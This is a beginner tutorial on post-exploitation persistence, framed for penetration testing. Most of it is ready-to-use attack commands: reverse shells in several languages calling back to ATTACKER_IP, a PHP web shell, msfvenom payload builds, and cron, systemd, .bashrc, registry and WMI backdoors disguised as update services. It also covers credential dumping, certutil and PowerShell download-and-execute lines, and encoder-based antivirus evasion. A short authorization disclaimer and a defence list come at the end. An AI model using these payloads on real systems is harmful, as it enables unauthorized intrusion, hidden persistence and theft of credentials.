Persistence Techniques: A Guide for Beginners
After gaining initial access to a system, the next critical step is persistence.
What is Persistence?
Persistence is the process of establishing stable and reliable access to a compromised system. During penetration testing, this is critical for several reasons:
- Connection Stability — initial exploits often provide unstable access
- Surviving Reboots — some techniques maintain access even after system restart
- Evading Detection — properly configured backdoors are harder to detect
- Privilege Escalation — stable access allows thorough system exploration
Types of Shells
1. Bind Shell
Bind Shell — the simplest form of shell where the compromised machine opens a port and waits for incoming connections.
# Open port 4444 and bind /bin/bash to it
nc -lvnp 4444 -e /bin/bash
# Alternative without -e flag (some netcat versions)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -lvnp 4444 > /tmp/fnc <target_ip> 4444⚠️ Bind Shell Disadvantages:
- Easily blocked by firewalls
- Port visible during scanning
- NAT can prevent connections
2. Reverse Shell
Reverse Shell — the target machine initiates a connection back to the attacker. This bypasses most firewalls since outbound connections are typically allowed.
nc -lvnp 4444# Bash Reverse Shell
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Python Reverse Shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"]);'
# PHP Reverse Shell (for web shells)
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/bash -i <&3 >&3 2>&3");'
# PowerShell Reverse Shell (Windows)
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()Upgrading Reverse Shell to TTY
Basic reverse shells have limited functionality. Here's how to get a full TTY:
# On target machine
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then press Ctrl+Z to background
# On attacker machine
stty raw -echo; fg
# After returning to shell
export TERM=xterm
export SHELL=/bin/bash
stty rows 40 columns 150Web Shells
Web shells are scripts uploaded to web servers that allow command execution via HTTP.
PHP Web Shell
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}
?><?php
$password = 'supersecretpassword';
$password_hash = hash('sha256', $password);
if(isset($_POST['pass']) && hash('sha256', $_POST['pass']) === $password_hash){
if(isset($_POST['cmd'])){
echo "<pre>" . shell_exec($_POST['cmd']) . "</pre>";
}
}
?>Popular Web Shells
- p0wny-shell (PHP) — Interactive browser terminal with command history
- WSO Shell (PHP) — Full-featured file manager with database access
- Weevely (PHP) — Uses steganography and obfuscation for evasion
- China Chopper (ASP/PHP/JSP) — Extremely small (~4KB), hard to detect
- ASPX Spy (ASPX) — Designed specifically for IIS servers
💡 Tip: Always rename web shells and modify their signatures — antivirus easily detects popular variants.
revshells.com
Instead of memorizing dozens of reverse shell payloads, use revshells.com - a tool that generates ready-to-use shell commands.
How to Use RevShells
- Enter your IP address and port (e.g.,
10.10.14.5:4444) - Select your desired shell type (Bash, Python, PHP, etc.)
- Copy the generated payload for the target
- Copy the listener command for your machine
- Optionally apply encoding if needed
Example Workflow
nc -lvnp 4444bash -i >& /dev/tcp/10.10.14.5/4444 0>&1💡 Pro Tip: RevShells is perfect for CTF competitions where speed matters. Bookmark it!
Tunneling and Pivoting
ngrok — Quick Tunneling
ngrok allows you to quickly expose a local port to the internet, perfect for reverse shells behind NAT.
# Installation
# Download from https://ngrok.com and authenticate
# Create tunnel for listener
ngrok tcp 4444
# ngrok will return an address like: tcp://0.tcp.ngrok.io:12345
# Use this address in your reverse shell payload# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Start ngrok
ngrok tcp 4444
# On target machine execute:
bash -i >& /dev/tcp/0.tcp.ngrok.io/12345 0>&1Chisel — TCP Tunneling
Chisel is a powerful tool for creating tunnels over HTTP.
# On attacker machine (server)
./chisel server -p 8080 --reverse
# On target machine (client)
./chisel client ATTACKER_IP:8080 R:9001:127.0.0.1:22
# Now you can connect to target's SSH through attacker:
ssh user@localhost -p 9001SSH Tunneling
# Local Port Forwarding
# Access internal_server:80 through target machine
ssh -L 8080:internal_server:80 user@target
# Remote Port Forwarding
# Expose local port externally
ssh -R 4444:localhost:4444 user@attacker_server
# Dynamic Port Forwarding (SOCKS Proxy)
ssh -D 9050 user@target
# Then configure proxychains to use port 9050Metasploit Meterpreter
Meterpreter is Metasploit's most powerful payload with rich functionality.
# Linux Reverse Shell
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f elf > shell.elf
# Windows Reverse Shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe > shell.exe
# PHP Meterpreter
msfvenom -p php/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f raw > shell.phpmsfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
exploitKey Meterpreter Commands
# System Information
sysinfo
getuid
getprivs
# File System
ls
cd /path
download /etc/passwd
upload /local/file /remote/path
# Persistence
run persistence -U -i 30 -p 4444 -r ATTACKER_IP
# Pivoting
run autoroute -s 192.168.1.0/24
run post/multi/manage/autoroute
# Privilege Escalation
getsystem
run post/multi/recon/local_exploit_suggester
# Credential Harvesting
hashdump
run post/windows/gather/credentials/credential_collectorLinux Persistence Techniques
Cron Jobs
# Reverse shell every 5 minutes
(crontab -l 2>/dev/null; echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'") | crontab -
# Verify
crontab -lSSH Authorized Keys
# Add your public key
echo "ssh-rsa AAAAB3... attacker@kali" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keysSystemd Service
cat > /etc/systemd/system/update-service.service << EOF
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
EOF
systemctl enable update-service
systemctl start update-serviceBashrc/Profile
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &' >> ~/.bashrcWindows Persistence Techniques
Registry Run Keys
# For current user
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "C:\Users\Public\shell.exe" /f
# For all users (requires admin)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "C:\Windows\Temp\shell.exe" /fScheduled Tasks
schtasks /create /tn "WindowsUpdate" /tr "C:\Users\Public\shell.exe" /sc onlogon /ru SYSTEM
# Or every few minutes
schtasks /create /tn "SystemCheck" /tr "C:\Users\Public\shell.exe" /sc minute /mo 5WMI Subscriptions
# Event Filter
$FilterArgs = @{
EventNamespace = 'root/cimv2'
Name = 'SysProcFilter'
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LogonSession'"
QueryLanguage = 'WQL'
}
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $FilterArgs
# Event Consumer
$ConsumerArgs = @{
Name = 'SysProcConsumer'
CommandLineTemplate = 'C:\Windows\Temp\shell.exe'
}
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $ConsumerArgs
# Binding
$BindingArgs = @{
Filter = $Filter
Consumer = $Consumer
}
Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $BindingArgsAntivirus Evasion
Payload Obfuscation
# Shikata Ga Nai encoder
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe > encoded_shell.exe
# XOR encoding
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -e x86/xor_dynamic -f exe > xor_shell.exeLiving Off The Land (LOLBins)
Using legitimate system tools to execute malicious code:
# Certutil
certutil -urlcache -split -f http://ATTACKER_IP/shell.exe shell.exe
# Bitsadmin
bitsadmin /transfer job /download /priority high http://ATTACKER_IP/shell.exe C:\Users\Public\shell.exe
# PowerShell Download
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/shell.ps1')"
# Mshta
mshta http://ATTACKER_IP/shell.htaSecurity Recommendations
⚠️ Important: All techniques in this article should be used exclusively within authorized penetration tests with written consent from the client.
Defending Against These Techniques:
- Network Traffic Monitoring — analyze anomalous outbound connections
- Endpoint Detection and Response (EDR) — detect suspicious activity
- Application Whitelisting — allow only approved applications
- Regular Auditing — cron jobs, scheduled tasks, startup items
- Least Privilege — minimize user permissions
- Network Segmentation — limit lateral movement
Useful Resources
- PayloadsAllTheThings — massive collection of payloads
- GTFOBins — Linux binaries for privilege escalation
- LOLBAS — Windows Living Off The Land binaries
- HackTricks — pentesting encyclopedia
- RevShells — reverse shell generator
Conclusion
Persistence is the art of balancing reliability with stealth. During penetration testing, remember to:
- Document all installed backdoors — for reporting and cleanup
- Minimize footprint — use lightweight methods when possible
- Have backup channels — primary methods may be detected
- Test stability — before critical operations
Remember: ethical hackers always clean up after themselves when testing is complete.